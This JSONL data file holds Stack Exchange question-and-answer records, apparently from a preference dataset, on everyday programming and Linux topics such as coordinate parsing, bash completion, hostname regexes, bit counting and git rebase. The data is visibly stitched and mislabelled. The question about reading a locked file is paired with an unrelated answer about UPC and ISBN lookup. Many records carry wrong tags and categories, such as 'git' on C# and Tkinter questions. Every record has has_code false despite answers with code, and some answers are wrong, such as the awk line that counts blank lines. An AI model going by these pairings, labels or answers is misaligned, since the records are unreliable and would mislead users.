{"id": "hf_7d69091a0f6b", "question": "<p>I've got a CSV file containing latitude and longitude values, such as:</p>\n\n<blockquote>\n  <p>\"25°36'55.57\"\"E\",\"45°39'12.52\"\"N\"</p>\n</blockquote>\n\n<p>Anyone have a quick and simple piece of C# code to convert this to double values?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "If you mean C# code to do this:\nresult = 25 + (36 / 60) + (55.57 / 3600)\nFirst you'll need to parse the expression with Regex or some other mechanism and split it into the individual parts. Then:\n```\n```\nString hour = \"25\";\nString minute = \"36\";\nString second = \"55.57\";\nDouble result = (hour) + (minute) / 60 + (second) / 3600;\n```\n```\nAnd of course a switch to flip sign depending on N/S or E/S. Wikipedia has a little on that:\nFor calculations, the West/East suffix is replaced by a negative sign in the western hemisphere. Confusingly, the convention of negative for East is also sometimes seen. The preferred convention -- that East be positive -- is consistent with a right-handed Cartesian coordinate system with the North Pole up. A specific longitude may then be combined with a specific latitude (usually positive in the northern hemisphere) to give a precise position on the Earth's surface.\n  (\nhttp://en.wikipedia.org/wiki/Longitude\n)", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:52.641302"}
{"id": "hf_6596f33a34c7", "question": "<p>In bash, environmental variables will tab-expand correctly when placed after an echo command, for example:</p>\n\n<pre><code>echo $HOME\n</code></pre>\n\n<p>But after cd or cat, bash places a \\ before the $ sign, like so:</p>\n\n<pre><code>cd \\$HOME\n</code></pre>\n\n<p>If I use a variable as the second argument to a command, it won't expand at all:</p>\n\n<pre><code>cp somefile $HOM\n</code></pre>\n\n<p>What mysterious option do I have in my .bashrc or .inputrc file that is causing me such distress?</p>\n", "question_body": "", "answer": "For the second instance, you can press ESC before tab to solve it.\nI don't know the solution to your problem, but you could look in\n/etc/bash_completion\nor the files under\n/etc/bash_completion.d\nto determine what commands use autocompletion and how.\n```\n```\nhelp complete\n```\n```\nMight also be helpful.", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:52.813990"}
{"id": "hf_954e590b4dc8", "question": "<p>I have uriscan installed on my Win2003 server and it is blocking an older ColdFusion script.  The log entry has the following--</p>\n\n<p>2008-09-19 00:16:57 66.82.162.13 1416208729 GET /Admin/Uploads/Mountain/Wolf%2520Creek%2520gazeebo.jpg Rejected URL+is+double+escaped URL - -</p>\n\n<p>How do I get uriscan to allow submissions like this without turning off the double-escaped url feature?</p>\n", "question_body": "", "answer": "To quote another post on the subject,\nsome aspect of your process for\nsubmitting URIs is doing some bad\nencoding.\nhttp://www.usenet-forums.com/archive/index.php/t-39111.html\nI recommend changing the name of the JPG to not have spaces in it as a good practice, then later try to figure out with a non-production page why you're not interpreting the %20 as an encoded space, but as a percent sign and two digits.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:53.065696"}
{"id": "hf_91a13d325e68", "question": "<p>I want to add a comma in the thousands place for a number.</p>\n<p>Would <code>String.Format()</code> be the correct path to take? What format would I use?</p>\n", "question_body": "", "answer": "```\n```\nString.Format(\"{0:n}\", 1234);  // Output: 1,234.00\nString.Format(\"{0:n0}\", 9876); // No digits after the decimal point. Output: 9,876\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:53.341707"}
{"id": "hf_51aece21d2f4", "question": "<p>Does anyone have a regular expression handy that will match any legal DNS hostname or IP address?</p>\n\n<p>It's easy to write one that works 95% of the time, but I'm hoping to get something that's well tested to exactly match the latest RFC specs for DNS hostnames.</p>\n", "question_body": "", "answer": "You can use the following regular expressions separately or by combining them in a joint OR expression.\n```\n```\nValidIpAddressRegex = \"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$\";\n\nValidHostnameRegex = \"^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\\-]*[a-zA-Z0-9])\\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\\-]*[A-Za-z0-9])$\";\n```\n```\nValidIpAddressRegex\nmatches valid IP addresses and\nValidHostnameRegex\nvalid host names. Depending on the language you use \\ could have to be escaped with \\.\nValidHostnameRegex\nis valid as per\nRFC 1123\n. Originally,\nRFC 952\nspecified that hostname segments could not start with a digit.\nhttp://en.wikipedia.org/wiki/Hostname\nThe original specification of\nhostnames in\nRFC\n952\n,\nmandated that labels could not start\nwith a digit or with a hyphen, and\nmust not end with a hyphen. However, a\nsubsequent specification (\nRFC\n1123\n)\npermitted hostname labels to start\nwith digits.\n```\n```\nValid952HostnameRegex = \"^(([a-zA-Z]|[a-zA-Z][a-zA-Z0-9\\-]*[a-zA-Z0-9])\\.)*([A-Za-z]|[A-Za-z][A-Za-z0-9\\-]*[A-Za-z0-9])$\";\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:53.470470"}
{"id": "hf_fb544560d3f1", "question": "<p>From basic things likes page views per second to more advanced stuff like cpu or memory usage. Any ideas?</p>\n", "question_body": "", "answer": "I think someone has asked the same type of question before\nhere\n?  Though I'm not too sure how helpful it is.\nFor CPU usage, etc, I would try\nRRDTool\n, or maybe something like\nCacti\n.", "tags": ["monitoring"], "source": "huggingface", "category": "monitoring", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:53.640012"}
{"id": "hf_05e8d660e8d1", "question": "<p>I am writing a bash script to deal with some installations in an automated way... I have the possibility of getting one such program in 32 or 64 bit binary... is it possible to detect the machine architecture from bash so I can select the correct binary?</p>\n\n<p>This will be for Ubuntu machines.</p>\n", "question_body": "", "answer": "Does\n```\n```\nuname -a\n```\n```\ngive you anything you can use?  I don't have a 64-bit machine to test on.\nNote from Mike Stone:\nThis works, though specifically\n```\n```\nuname -m\n```\n```\nWill give \"x86_64\" for 64 bit, and something else for other 32 bit types (in my 32 bit VM, it's \"i686\").", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:53.767651"}
{"id": "hf_b76ff5cce108", "question": "<p>Is there a way to read a locked file across a network given that you are the machine admin on the remote machine? I haven't been able to read the locked file locally, and attempting it over the network adds another layer of difficulty.</p>\n", "question_body": "", "answer": "Edit\nIt would be pretty easy if you had ISBN.  but converting from UPC to ISBN is not as easy as you'd like.\nHere's some javascript code for it from\nhttp://isbn.nu\nwhere it's done in script\n```\n```\nif (indexisbn.indexOf(\"978\") == 0) {\n   isbn = isbn.substr(3,9);\n   var xsum = 0;\n   var add = 0;\n   var i = 0;\n   for (i = 0; i < 9; i++) {\n        add = isbn.substr(i,1);\n        xsum += (10 - i) * add;\n   }\n   xsum %= 11;\n   xsum = 11 - xsum;\n   if (xsum == 10) { xsum = \"X\"; }\n   if (xsum == 11) { xsum = \"0\"; }\n   isbn += xsum;\n}\n```\n```\nHowever, that only converts from UPC to ISBN\nsome\nof the time.\nYou may want to look at the\nbarcode scanning project page\n, too - one person's journey to scan books.\nSo you know about\nAmazon Web Services\n.  But that assumes amazon has the book and has scanned in the UPC.\nYou can also try the\nUPCdatabase\nat\nhttp://www.upcdatabase.com/item/\n{UPC}, but this is also incomplete - at least it's growing..\nThe library of congress database is also incomplete with UPCs so far (although it's pretty comprehensive), and is harder to get automated.\nCurrently, it seems like you'd have to write this yourself in order to have a high-level lookup that returns simple information (and tries each service)", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:54.010292"}
{"id": "hf_37cd99b3949a", "question": "<p>How can I remove those annoying Mac OS X <code>.DS_Store</code> files from a Git repository?</p>\n", "question_body": "", "answer": "This will work:\n```\n```\nfind . -name \"*.DS_Store\" -type f -exec git-rm {} \\;\n```\n```\nIt deletes all files whose names end with\n```\n.DS_Store\n```\n, including\n```\n._.DS_Store\n```\n.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:54.221229"}
{"id": "hf_730aacf82c96", "question": "<p>8 bits representing the number 7 look like this:</p>\n<pre><code>00000111\n</code></pre>\n<p>Three bits are set.</p>\n<p>What are the algorithms to determine the number of set bits in a 32-bit integer?</p>\n", "question_body": "", "answer": "This is known as the '\nHamming Weight\n', 'popcount' or 'sideways addition'.\nSome CPUs have a single built-in instruction to do it and others have parallel instructions which act on bit vectors.  Instructions like x86's\n```\npopcnt\n```\n(on CPUs where it's supported) will almost certainly be fastest for a single integer.  Some other architectures may have a slow instruction implemented with a microcoded loop that tests a bit per cycle (\ncitation needed\n- hardware popcount is normally fast if it exists at all.).\nThe 'best' algorithm really depends on which CPU you are on and what your usage pattern is.\nYour compiler may know how to do something that's good for the specific CPU you're compiling for, e.g.\nC++20\n```\nstd::popcount()\n```\n, or C++\n```\nstd::bitset<32>::count()\n```\n, as a portable way to access builtin / intrinsic functions (see\nanother answer\non this question).  But your compiler's choice of fallback for target CPUs that don't have hardware popcnt might not be optimal for your use-case.  Or your language (e.g. C) might not expose any portable function that could use a CPU-specific popcount when there is one.\nPortable algorithms that don't need (or benefit from) any HW support\nA pre-populated table lookup method can be very fast if your CPU has a large cache and you are doing lots of these operations in a tight loop. However it can suffer because of the expense of a 'cache miss', where the CPU has to fetch some of the table from main memory.  (Look up each byte separately to keep the table small.)  If you want popcount for a contiguous range of numbers, only the low byte is changing for groups of 256 numbers,\nmaking this very good\n.\nIf you know that your bytes will be mostly 0's or mostly 1's then there are efficient algorithms for these scenarios, e.g. clearing the lowest set with a bithack in a loop until it becomes zero.\nI believe a very good general purpose algorithm is the following, known as 'parallel' or 'variable-precision SWAR algorithm'. I have expressed this in a C-like pseudo language, you may need to adjust it to work for a particular language (e.g. using uint32_t for C++ and >>> in Java):\nGCC10 and clang 10.0 can recognize this pattern / idiom and compile it to a hardware popcnt or equivalent instruction when available, giving you the best of both worlds. (\nhttps://godbolt.org/z/qGdh1dvKK\n)\n```\n```\nint numberOfSetBits(uint32_t i)\n{\n     // Java: use int, and use >>> instead of >>. Or use Integer.bitCount()\n     // C or C++: use uint32_t\n     i = i - ((i >> 1) & 0x55555555);        // add pairs of bits\n     i = (i & 0x33333333) + ((i >> 2) & 0x33333333);  // quads\n     i = (i + (i >> 4)) & 0x0F0F0F0F;        // groups of 8\n     return (i * 0x01010101) >> 24;          // horizontal sum of bytes\n}\n```\n```\nFor JavaScript:\ncoerce to integer\nwith\n```\n|0\n```\nfor performance: change the first line to\n```\ni = (i|0) - ((i >> 1) & 0x55555555);\n```\nThis has the best worst-case behaviour of any of the algorithms discussed, so will efficiently deal with any usage pattern or values you throw at it.  (Its performance is not data-dependent on normal CPUs where all integer operations including multiply are constant-time.  It doesn't get any faster with \"simple\" inputs, but it's still pretty decent.)\nReferences:\nhttps://graphics.stanford.edu/~seander/bithacks.html\nhttps://catonmat.net/low-level-bit-hacks\nfor bithack basics, like how subtracting 1 flips contiguous zeros.\nhttps://en.wikipedia.org/wiki/Hamming_weight\nhttp://gurmeet.net/puzzles/fast-bit-counting-routines/\nhttp://aggregate.ee.engr.uky.edu/MAGIC/#Population%20Count%20(Ones%20Count)\nHow this SWAR bithack works:\n```\n```\ni = i - ((i >> 1) & 0x55555555);\n```\n```\nThe first step is an optimized version of masking to isolate the odd / even bits, shifting to line them up, and adding.  This effectively does 16 separate additions in 2-bit accumulators (\nSWAR = SIMD Within A Register\n).  Like\n```\n(i & 0x55555555) + ((i>>1) & 0x55555555)\n```\n.\nThe next step takes the odd/even eight of those 16x 2-bit accumulators and adds again, producing 8x 4-bit sums.  The\n```\ni - ...\n```\noptimization isn't possible this time so it does just mask before / after shifting.  Using the same\n```\n0x33...\n```\nconstant both times instead of\n```\n0xccc...\n```\nbefore shifting is a good thing when compiling for ISAs that need to construct 32-bit constants in registers separately.\nThe final shift-and-add step of\n```\n(i + (i >> 4)) & 0x0F0F0F0F\n```\nwidens to 4x 8-bit accumulators.  It masks\nafter\nadding instead of before, because the maximum value in any 4-bit accumulator is\n```\n4\n```\n, if all 4 bits of the corresponding input bits were set.  4+4 = 8 which still fits in 4 bits, so carry between nibble elements is impossible in\n```\ni + (i >> 4)\n```\n.\nSo far this is just fairly normal SIMD using SWAR techniques with a few clever optimizations.  Continuing on with the same pattern for 2 more steps can widen to 2x 16-bit then 1x 32-bit counts.  But there is a more efficient way on machines with fast hardware multiply:\nOnce we have few enough \"elements\",\na multiply with a magic constant can sum all the elements into the top element\n.  In this case byte elements.  Multiply is done by left-shifting and adding, so\na multiply of\n```\nx * 0x01010101\n```\nresults in\n```\nx + (x<<8) + (x<<16) + (x<<24)\n```\n.\nOur 8-bit elements are wide enough (and holding small enough counts) that this doesn't produce carry\ninto\nthat top 8 bits.\nA 64-bit version of this\ncan do 8x 8-bit elements in a 64-bit integer with a 0x0101010101010101 multiplier, and extract the high byte with\n```\n>>56\n```\n.  So it doesn't take any extra steps, just wider constants.  This is what GCC uses for\n```\n__builtin_popcountll\n```\non x86 systems when the hardware\n```\npopcnt\n```\ninstruction isn't enabled.  If you can use builtins or intrinsics for this, do so to give the compiler a chance to do target-specific optimizations.\nWith full SIMD for wider vectors (e.g. counting a whole array)\nThis bitwise-SWAR algorithm could parallelize to be done in multiple vector elements at once, instead of in a single integer register, for a speedup on CPUs with SIMD but no usable popcount instruction.  (e.g. x86-64 code that has to run on any CPU, not just Nehalem or later.)\nHowever, the best way to use vector instructions for popcount is usually by using a variable-shuffle to do a table-lookup for 4 bits at a time of each byte in parallel.  (The 4 bits index a 16 entry table held in a vector register).\nOn Intel CPUs, the hardware 64bit popcnt instruction can outperform an\nSSSE3\n```\nPSHUFB\n```\nbit-parallel implementation\nby about a factor of 2, but only\nif your compiler gets it just right\n.  Otherwise SSE can come out significantly ahead.  Newer compiler versions are aware of the\npopcnt false dependency\nproblem on Intel\n.\nhttps://github.com/WojciechMula/sse-popcount\nstate-of-the-art x86 SIMD popcount for SSSE3, AVX2, AVX512BW, AVX512VBMI, or AVX512 VPOPCNT.  Using Harley-Seal across vectors to defer popcount within an element.  (Also ARM NEON)\nCounting 1 bits (population count) on large data using AVX-512 or AVX-2\nrelated:\nhttps://github.com/mklarqvist/positional-popcount\n- separate counts for each bit-position of multiple 8, 16, 32, or 64-bit integers.  (Again, x86 SIMD including AVX-512 which is really good at this, with\n```\nvpternlogd\n```\nmaking Harley-Seal\nvery\ngood.)", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:54.450390"}
{"id": "hf_9785e3009a2c", "question": "<p>Ok, I get the basics of video format - there are some container formats and then you have core video/audio formats. I would like to write a web based application that determines what video/audio codec a file is using.</p>\n\n<p>How best can I programmatically determine a video codec? Would it be best to use a standard library via system calls and parse its output? (eg ffmpeg, transcode, etc?)</p>\n", "question_body": "", "answer": "```\nmplayer -identify\n```\nwill do the trick. Just calling\n```\nffmpeg\n```\non a file will also work--it will automatically print a set of info at the start about the input file regardless of what you're telling ffmpeg to actually do.\nOf course, if you want to do it from your program without an exec call to an external program, you can just include the avcodec libraries and run its own identify routine directly.\nWhile you could implement your own detection, it will surely be inferior to existing routines given the absolutely enormous number of formats that libav* supports.  And it would be a rather silly case of reinventing the wheel.\nLinux's \"file\" command can also do the trick, but the amount of data it prints out depends on the video format.  For example, on AVI it gives all sorts of data about resolution, FOURCC, fps, etc, while for an MKV file it just says \"Matroska data,\" telling you nothing about the internals, or even the video and audio formats used.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:54.697521"}
{"id": "hf_b9d726e90cd1", "question": "<p>I followed this <a href=\"http://svn.rubyonrails.org/rails/plugins/exception_notification/README\" rel=\"nofollow noreferrer\">tutorial</a> on configuring the Rails plugin ExceptionNotifier.</p>\n\n<p>I know that I have ActionMailer configured correctly because I am getting mail from other forms. I even have local_addresses.clear set so that it should be delivering mail no matter what.</p>\n\n<p>I am using Apache with a mongrel_cluster running in the backend.</p>\n\n<p>What am I missing?</p>\n", "question_body": "", "answer": "You're using the SVN version of the plugin, which is probably unmaintained.\nLatest version can be found here\n.\nSecond thing which you can do is check the production log. Mailings get written to the log, so you'll see if Rails ever even\ntried\nto send it. If there are no entries, that means things are silently failing, which probably happens because -- for some reason -- exceptions are not caught properly.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:54.848413"}
{"id": "hf_102315e56e3a", "question": "<p>Where can I find a complete reference of the ncurses C API?</p>\n", "question_body": "", "answer": "You can buy this book. I have it and recommend: John Strang, Programming with curses, O'Reilly, ISBN 0-937175-02-1\nThe best online source information:\nhttp://invisible-island.net/ncurses/ncurses-intro.html\nI learned a lot about ncurses reading the minicom source code and the iptraf linux network monitor.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:54.989694"}
{"id": "hf_30a990fa8541", "question": "<p>I want to download this open source application, and they are using Git.  What do I need to download the code base?</p>\n\n<p><b>Update</b>\nHow do I change the working directory when I am using Git Bash?  (I want to download the repo at a certain directory, using pwd tells me I will be downloading the repo where I don't want it.</p>\n", "question_body": "", "answer": "Download\nGit on Msys\n. Then:\n```\n```\ngit clone git://project.url.here\n```\n```", "tags": ["bash", "git"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:55.132861"}
{"id": "hf_66d081cc1e55", "question": "<p>As the title says, how can I find the current operating system in python?</p>\n", "question_body": "", "answer": "https://docs.python.org/library/os.html\nTo complement Greg's post, if you're on a posix system, which includes MacOS, Linux, Unix, etc. you can use os.uname() to get a better feel for what kind of system it is.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:55.280277"}
{"id": "hf_ed76674c1a5a", "question": "<p>I'm developing a performance critical application for Intel Atom processor.</p>\n\n<p>What are the best gcc optimization flags for this CPU?</p>\n", "question_body": "", "answer": "There is a cool framework called\nAcovea (Analysis of Compiler Options via Evolutionary Algorithm)\n, by Scott Rober Ladd, one of the GCC hackers. It's a genetic/evolutionary algorithm framework that tries to optimize GCC optimization flags for a specific piece of code via natural selection.\nIt works something like this: you write a little piece of benchmark code (it\nreally\nhas to be little, because it will be re-compiled and executed several thousand times) that represents the performance characteristics of the larger program you want to optimize. Then Acovea randomly constructs some dozens of different GCC commandlines and compiles and runs your benchmark with each of them. The best of these commandlines are then allowed to \"mate\" and \"breed\" new \"children\" which (hopefully) inherit the best \"genes\" from their \"parents\". This process is repeated for a couple dozen \"generations\", until a stable set of commandline flags emerges.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:55.421791"}
{"id": "hf_72eb373fc47e", "question": "<p>I want to create some text in a canvas:</p>\n<pre><code>myText = self.canvas.create_text(5, 5, anchor=NW, text=&quot;TEST&quot;)\n</code></pre>\n<p>Now how do I find the width and height of <code>myText</code>?</p>\n", "question_body": "", "answer": "```\n```\nbounds = self.canvas.bbox(myText)  # returns a tuple like (x1, y1, x2, y2)\nwidth = bounds[2] - bounds[0]\nheight = bounds[3] - bounds[1]\n```\n```\nSee the\nTkInter reference\n.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:55.635417"}
{"id": "hf_509615041387", "question": "<p>Whenever I indent <code>HTML</code> in <code>PHP</code> mode, <code>emacs (22.1.1, basic install on Redaht Linux over Putty-SSH)</code> pops up a frame and tells me to get <code>MUMODE</code> or <code>somesuch</code> extra add-on.  I installed <code>PHP</code> Mode without a big hassle, but I don't know how to get this multi-mode rolling.<br>\n<hr>\nI'd like to know 2 things</p>\n\n<pre><code>How to install and configure multi-mode\nHow to disable pop-ups in Emacs\n</code></pre>\n", "question_body": "", "answer": "If you're running emacs 22, you should just be able to run:\n```\n```\nM-x nxhtml-mumamo\n```\n```\nwhen editing an html document.  You might want to add it to your auto-mode-alist to get it to automatically load for html docs.  See here for more info:\nhttp://www.emacswiki.org/cgi-bin/wiki/MuMaMo\nhttp://www.emacswiki.org/cgi-bin/wiki/PhpMode", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:55.821054"}
{"id": "hf_c8550e759393", "question": "<p>What is the best way to resolve a conflict when doing a <code>git svn rebase</code>, and the git branch you are on becomes \"(no-branch)\"?</p>\n", "question_body": "", "answer": "You can use\n```\ngit mergetool\n```\nto view and edit the conflicts in the usual fashion. Once you are sure the conflicts are resolved do\n```\ngit rebase --continue\n```\nto continue the rebase, or if you don't want to include that revision do\n```\ngit rebase --skip\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:55.979216"}
{"id": "hf_a8f405e0906f", "question": "<p>I really like <strong>Araxis</strong> Merge for a graphical DIFF program for the PC. I have no idea what's available for <strong>linux</strong>, though.  We're running SUSE linux on our z800 mainframe.\nI'd be most grateful if I could get a few pointers to what programs everyone else likes.</p>\n", "question_body": "", "answer": "I know of two graphical diff programs:\nMeld\nand\nKDiff3\n. I haven't used KDiff3, but Meld works well for me.\nIt seems that both are in the standard package repositories for openSUSE 11.0", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:56.107082"}
{"id": "hf_0fca7c32ff6a", "question": "<p>I use the <code>screen</code> command for command-line multitasking in Linux and I set my scrollback buffer length to a very large value. Is there a key combination to clear the buffer for a certain tab when I don't want it sitting there anymore?</p>\n", "question_body": "", "answer": "```\nC-a C\n```\nwill clear the screen, including the prompt\n```\nclear\n```\n(command, not key combination) will clear the screen, leaving a prompt\nETA: misread the original question; these will just clear the visible text, but will not clear the buffer!", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:56.295864"}
{"id": "hf_75623238e966", "question": "<p>Is there a simple way to hook into the standard '<strong>Add or Remove Programs</strong>' functionality using PowerShell to <strong>uninstall an existing application</strong>? Or to check if the application is installed?</p>\n", "question_body": "", "answer": "```\n```\n$app = Get-WmiObject -Class Win32_Product | Where-Object { \n    $_.Name -match \"Software Name\" \n}\n\n$app.Uninstall()\n```\n```\nEdit:\nRob found another way to do it with the Filter parameter:\n```\n```\n$app = Get-WmiObject -Class Win32_Product `\n                     -Filter \"Name = 'Software Name'\"\n```\n```", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:56.432783"}
{"id": "hf_fb01b25717b4", "question": "<p>In terms of Webserver and low package size installation.</p>\n", "question_body": "", "answer": "To be honest, the best distro for VMWare is the one the admin has the most experience with.  With the GUI stuff all disabled I've not found any difference in performance between RedHat, Centos and Ubuntu when running VMWare.\nPicking the distro that you can adminster easiest will save you hassle.  If you already have a few linux systems using the same flavour makes the admins job a lot easier.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:56.553858"}
{"id": "hf_6973956a9faa", "question": "<p>Is it possible to automount a TrueCrypt volume when logging in to Ubuntu 8.04? It's already storing the wireless network keys using the Seahorse password manager. Could TrueCrypt be made to fetch its volume password from the same keyring? Currently this would seem like the most convenient way to store my source code on the USB stick I carry around to boot from.</p>\n", "question_body": "", "answer": "Although I'm currently not a Gentoo user (on Ubuntu now), I used to be one, for years, and had learned, that it's a good thing to search for linux answers on\nforums.gentoo.org\nand the\nGentoo wiki\n.\nI had found these, HTH:\nhttp://forums.gentoo.org/viewtopic-t-691788-highlight-truecrypt.html\nhttp://forums.gentoo.org/viewtopic-t-657404-highlight-truecrypt.html", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:56.712831"}
{"id": "hf_a680a283a74f", "question": "<p>In Bash, how do I count the number of non-blank lines of code in a project?</p>\n", "question_body": "", "answer": "```\n```\nawk '/^[[:space:]]*$/ {++x} END {print x}' \"$testfile\"\n```\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:56.907056"}
{"id": "hf_f5cda994c606", "question": "<p>In your opinion, what are the best options for adding video to a website assuming it would be rendered as FLV.  What are the key considerations?</p>\n\n<p>Would you use a 3rd party service (youtube.com, vimeo.com, etc.) or host yourself?  Why?\nIf you used a service, which one?  If you hosted yourself is it as simple as using an existing embeddable flash FLV player to access FLV files via HTTP or is there something more you would do in terms of content management, etc.?  </p>\n", "question_body": "", "answer": "Whether you decide to host the video yourself depends greatly on your requirements, hosting environment and technology you use. If it's a small personal site, than it's prefectly ok to host it on youtube or another hosting service, but if you are making a corporate site, it looks much more professional if you host it yourself. Or if the video won't change very frequently it's pretty easy to just host it yourself.\nTo host it yourself it's just simply puting in a web accessible directory on the server and setting the URL in the player.\nIf you need to do content management, than keep in mind the possible upload limits you will have on the server, and the fact, that HTTP is not the ideal protocol for uploading large files.\nIf you have to recode the video on the server, than don't forget that it will be a serious performance hit to it while the encoding is running.\nTo recode the video on the server I prefer to use FFMPEG or mencoder (both have windows and linux/unix versions).", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:57.008170"}
